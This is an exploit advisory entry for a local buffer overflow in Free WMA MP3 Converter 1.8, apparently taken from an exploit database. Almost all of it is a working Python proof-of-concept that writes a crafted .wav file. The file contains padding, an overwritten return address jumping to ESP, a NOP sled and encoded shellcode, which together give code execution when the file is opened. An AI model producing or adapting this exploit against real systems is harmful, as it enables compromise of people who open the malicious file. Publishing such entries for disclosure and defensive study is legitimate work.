Free WMA MP3 Converter 1.8 Buffer Overflow

2014.10.24
Credit: metacom
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python # Free WMA MP3 Converter 1.8 Buffer Overflow # Version:1.8 Build 20140226 # Author:metacom # Date:10.23.2014 # Download:http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm # Tested on:Win7-En 32bit - Win8.1-DE 64bit import struct def little_endian(address): return struct.pack("<L",address) poc="\x41" * 4112 eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP nops="\x90" * 80 shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83") exploit = poc + eip + nops + shellcode try: rst= open("bof_WMA MP3 Converter.wav",'w') rst.write(exploit) rst.close() except: print "Error"


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